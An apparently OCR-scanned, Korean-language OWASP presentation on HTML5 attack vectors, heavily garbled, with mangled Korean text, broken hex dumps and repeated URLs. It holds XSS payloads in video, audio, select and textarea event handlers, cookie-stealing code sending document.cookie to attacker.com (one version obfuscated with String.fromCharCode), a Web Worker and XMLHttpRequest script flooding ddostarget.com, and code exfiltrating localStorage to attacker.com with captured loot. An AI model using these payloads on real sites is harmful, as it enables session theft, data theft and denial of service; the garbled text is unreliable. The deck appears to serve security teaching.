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<video><source onerror="alert(1)”"></source></video>
<audio><source onerror="alert(1)”></source></audio>
<select autofocus onfocus="alert(1)”>

<textarea autofocus onfocus="alert(1)”>
<input type="text” autofocus onfocus="alert(1)”; "=
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e “video” EfE O|l=st =22 DE O

<video><source onerror="new
Image().src="http://www.attacker.com/getcookie.php?cookie="+docum
ent.cookie”></source></video>

v CharCode
ol &l

<video><source
onerror=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,
40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,
97,116,116,97,99,107,101,114,46,99,111,109,47,103,101,116,99,111,
111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61,39,43
,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))></sou
rce></video>
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www.foo.com www.other.com www.foo.com www.other.com
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HTTP/1.1 200 OK\r\n

Date: Fri, 25 Jan 2013 08:07:31 GMT\r\n

Server: Apache\r\n

Access-Control-Allow-0Origin: http://www.foo.com\r\n
Content-Length: 38\r\n
Keep-Alive: timeout=5, max=100\r\n

OWASP
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GET /response.php HTTP/1.1\r\n
Host: www.other.com\r\n
Connection: keep-alive\r\n

Referer: http://www.foo.com/cors.html\r\n

Origin: http://www.foo.com\r\n

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW6

4) AppNeWebKit/534.30

Accept: */*\r\n

Accept-Encoding: gzip,defla
Accept-Language: ko-KR,ko;q
Accept-Charset: windows-949

wwaw foo.com

¢

e 0 HTMLS 2] XHK Level?

& 2|giot= Ha\e

{ /l 48 Q&h;,.
Q:v . b’)' i
Y s @, 1d\

v othercom

Connection: Keep-Alive\r\n
Content-Type: text/html\r\n

\r\n

Lne-based text data: text/html

http://www.foo.com :

Domain is allowed

ér”””””””"
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GET /response.php HTTP/1.1\r\n

other.com\r\n

: keep-alive\r\n

ttp://www.foo.com/cors.html\r\n

tp://www.foo.com\r\n

T\ngglla/s.o (Windows NT 6.1; WOW64) AppleWebKit/534.30
*\r\n

oding: gzip,deflate,sdch\r\n

guage: ko-KR,ko;q=0.8,en-US;g=0.6,en;g=0.4\r\n

e 0 HTMLS 2] XHR Level?
o @ e 5 A ¥oh= Hel2y
4 ol <®
A = &
Y , = 4;,,\,_
S §
Js ? 2.\ N )
@ & U ¢
\ N/ -
N
, N /\ 5
wwaw foo.com vwwaw.othercom

rset: windows-949,utf-8;q=0.7,*;g=0.3\r\n

Cookie: PHPSESSID=9468986belc805b14af7009548decc2a\r\n

HTTP/1.1 200 OK\k\n

Date: Fri, 25 Jary 2013 16:31:48 GMT\r\n

Server: Apache\r\n
Access-Control-Allow-0Origin: http:/
Access-Control-Allow-Credentials: t
Content-Length: 38\r\n

Keep-Alive: timeout=5, max=92\r\n
Connection: Keep-Alive\r\n
Content-Type: text/html\r\n

/www.foo.com\r\n
rue\r\n
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var socket;

@ function init(){
a "N Var host =
¥ 4 try{
A e socket = new WebSocket (host) ;
%@ e log (' +socket . readysState) ;

7.215106 192.168.5.1 5.8 266 63878 > italk [PSH,

7.215211 192,168.5.8 192,168.5,1 TCP N 54 italk > 63878 [ACK] Seg=
7.216098 192.168.5.8 192.168.5.1 TCP 254 italk > 63878 [PSH, ACK]
7.416903 192.168.5.1 192.168.5.8 TCP 60 63878 > italk [ACK] Seg=

Internet Protocol Version 4, Src: 192.168.5.1 (192.168.5.1), Dst: 192.16¢
Transmission Control Protocol, Src Port: 63878 (63878), Dst Port: italk |
Data (212 bytes)

Data: 47455420217765627361636b6574277365727665722e7068. ..
PO ©8 Bc 29 33 a5 5¢ 00 58 56 c@ 06 ©9 0B 8O 45 60 33.\P Vooios E
10 08 fc 49 98 40 00 80 66 25 0a cb a8 65 61 cO as s L oBeioo Mevoaos
20 B85 068 f9 86 30 39 51 b8 25 67 30 34 43 eb 50 18 .+..09Q. %004C.P.
30 01 00 f9 ae 60 90 47 45 54 206 2f 77 65 62 73 6f .+.GE T /webso
40 63 6b 65 74 2f 73 65 72 76 65 72 2e 70 68 70 20 |cket/ser ver.php
56 48 54 54 50 27 31 2e 31 6d 0a 55 76 67 72 61 64 . .Upgrad
6O 65 3a 20 57 65 62 53 6f 63 6b 65 74 6d Ba 43 of cket. . Co
70 Ge 6e 65 63 74 69 6f 6e 33 20 55 70 67 72 61 64 tion : Upgrad
BO 65 6d 0a 48 6f 73 74 3a 20 31 39 32 2¢ 31 36 38 | e..Host 192.168
00 2e 35 2e 38 33 31 32 33 34 35 od 0a 4f 72 69 67 5.8:123 45, .0rig
a@ 69 6e 3a 20 6e 75 6c 6c 6d ©a 53 65 63 2d 57 65 in: null Sec-we
b& 62 53 6f 63 6b 65 74 2d 4b 65 79 31 3a 20 31 20 1
c® 6e 6f 39 34 38 2f 28 39 33 31 32 3d 5e 30 36 od 06
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[Constructor(in DOMString url, in optional DOMString protocol)]
interface WebSocket {

readonly attribute DOMString URL;
// ready state

const unsigned short CONNECTING = 0;

const unsigned short OPEN = 1;

const unsigned short CLOSED = 2;

readonly attribute unsigned short readyState;

boolean send(in DOMString data);
void close();

¥

WebSocket implements EventTarget;



http://www.w3.org/TR/2009/WD-websockets-20091222/
http://www.w3.org/TR/2009/WD-websockets-20091222/
http://www.w3.org/TR/2009/WD-websockets-20091222/
http://www.w3.org/TR/2009/WD-websockets-20091222/
http://www.w3.org/TR/2009/WD-websockets-20091222/
http://www.w3.org/TR/2009/WD-websockets-20091222/
http://www.w3.org/TR/2009/WD-websockets-20091222/
http://www.w3.org/TR/2009/WD-websockets-20091222/
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o &l A3JNO| readyState =4
— CONNECTING(0), OPEN(1), CLOSED(2) Al
Ol &E 82 = otLUEE D&
— 2 A3 HE M= [ == CONNECTING(0)

si= Jtd
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e readyState =42 CONNECTING(0) &t XI=

AlZt2 &A=l et XHOoIJF /US

A AAEHY B2 R4 0 gt RISAlZt

3-Way HS 0| btE HZS = AMI= B <100ms (0.1% 0/24)
3-Way HS 0| SES 8t F HIZ HZ= = Aldl= &R <100ms (0.1% 0/24)
3-Way H.S 0| AZZ KX AIIHA HIOIE =42 JlCiel= | >30000ms (30= =1t)
e =]
3-Way H.S 0| HZ= SASHHM “Hid” &2 “&&" HAIXI2|<100ms (FireFox, Safari)
22 SgS 886t 22 >30000ms (Chrome)

A AMAE ZEQ AHf & EHE RF 0 gt RISAlZt
A2 ANAEO HEJ HAYE HR <100ms (0.1= 012
A ANAEHO LED} EHEHU= ER ~1000ms (1X)
IH2!0] 2HE ZAS B2

>30000ms (30=x =1})
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2+ H|
— readyState gt0| 0Q! AEfII LEHA|IZIS
ZAtotd KIsEH ZHE SEI/ALE AIAE O]

— redayState BtOI 00l AFEHOF A Al Z2F CHO|
=

C2S AEf

e o

1(Open) E2 2(Closed) 2 BRI LY

= Xt=0| /\I-EHOI

ra Y B Y W

ANAE=
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Bl el Mol X2l DOM B! HIOI KIS

>
IS
o
40
o
1P
!

(2 5

Xelote M=
if{typeof(Worker) '=="undefin=d")

{
if({typeof(w)=="undefined")

{

w=new Worker i
} \
ZEl

=

w.postMessage() £ FOIOIH &8

rOII

self.postMessage() € S8t IO & ¥
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» DDoS AUl ArEE= R*HS ddote 25

<video controls="controls” width="640" height="480">
<source src="PSY-GANGNAM_STYLE.mp4” type="video/mp4”/>
</video>

<script>

var w;

vary;

If(type(Worker)!=="undefined”)

{
w = new Worker(“ddos.js”); // & B 291 M4
y = new Worker(“ddos.js”); // & B 291 M4

¥

</script>
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If (Ixmlhttp && typeof XMLHttpRequest != ‘undefined’)
{

}

temp = http://www.ddostarget.com/index.php?p= + Math.random();
// XHR 22| £ 0|25t “www.ddostarget.com” 0l HTTP EciZ S

xmlhttp = new XMLHttpRequest();

EIFNINEL
xmlhttp.open(“GET”, temp, true);
xmlhttp.sedn(null);
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o« & TU1E OIEOF DDoS &= AlLIZ2| L
| OEEENRE
5 DDoS EcHE!
ot Al
@ HA2 X\\
OEdE,I-

ol
SEECN .
8e ,3.@_‘0 \
Q=ga= A victim’s 00
ot

o = browser o ne._.§ 'E’ a scrapt
4 & RH £2H victim's WL DS e R
;&?.e If (Lxmihttp &6 typeof XMLHttpRequest != ‘undefined’)
browser - { i Y
. . ) ¥nlhttp = new XMLHCCpRequest() ;
5 victim's }

;_ ne ET ey, ém):
adn (nt ll)

~ browser Rt Gah
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interface Storage {

readonly attribute unsigned long length;

DOMString key(unsigned long index);

getter DOMString getltem(DOMString key);

setter creator void setltem(DOMString key, DOMString value);
delete void removeltem(DOMString key);

void clear();

};
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@,

var contents =
if(localStorage.length)

{
for(i in localStorage)
{
Contents += i+” : “+localStorage.getltem(i)+"Wn";
}
}

new Image().src =

‘http://www.attacker.com/getlocalstorage.php="+encodeURIComponent
(contents);
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=
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root@bt:~# cat /tmp/getlocalstorage.txt
[192.168.5.1]
visit_cnt : 11
subject_2 : B[R

post_cnt_max : 2

subject_3 : FE A& F7] ...

subject_1 : & 23T, —

www.attacker.com

@ =2 XHOI A

A& A HolH &

3 "‘-ld ApE S

| =&l

st HIA

(o] i=2
MD

.

var contents = ""; o .
i1f(localstorage.langth) :%3 e
{ L) ,
\‘h‘v
fox(i in localStorage)
{
ontents += 14" : "$localStorage.getlItem(yi)+"

}

}

new Image() .src = it



References & Resources
7? OWASP

The Open Web Application Security Project

« Mario Heiderich’s “HTML5 Security Cheatsheet”
— http://heideri.ch/jso/

« Attack & Defense Lab
— http://www.andlabs.org/

« Performing DDoS Attacks in a web page
— http://lyric.im/performing—ddos—attacks—in—a—web—page/

« “HTML5 localstorage Attack Vectors & Security” by Shreera;

Shah

— http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage—
attack—vectors/1



http://heideri.ch/jso/
http://www.andlabs.org/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://lyric.im/performing-ddos-attacks-in-a-web-page/
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1
http://www.slideshare.net/fullscreen/shreeraj/html5-localstorage-attack-vectors/1

7? OWASP

The Open Web Application Security Project

Question?



